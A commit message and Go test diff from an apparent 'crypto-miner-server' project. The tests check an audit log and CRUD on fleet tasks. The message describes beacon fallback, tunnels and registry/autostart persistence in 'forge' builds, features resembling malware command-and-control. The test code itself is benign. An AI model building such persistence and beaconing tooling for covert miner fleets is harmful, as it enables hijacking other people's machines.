feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/internal/db/audit_test.go

@@ -0,0 +1,46 @@
+package db
+
+import (
+	"testing"
+
+	"crypto-miner-server/internal/models"
+)
+
+func TestAuditLogRoundTrip(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
+		t.Fatal(err)
+	}
+	rows, err := d.ListAudit(10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
+		t.Fatalf("unexpected audit rows: %+v", rows)
+	}
+}
+
+func TestFleetTasksCRUD(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
+	if err := d.UpsertFleetTask(task); err != nil {
+		t.Fatal(err)
+	}
+	list, err := d.ListFleetTasks()
+	if err != nil || len(list) != 1 {
+		t.Fatalf("list: %v err=%v", list, err)
+	}
+	if err := d.DeleteFleetTask(list[0].ID); err != nil {
+		t.Fatal(err)
+	}
+}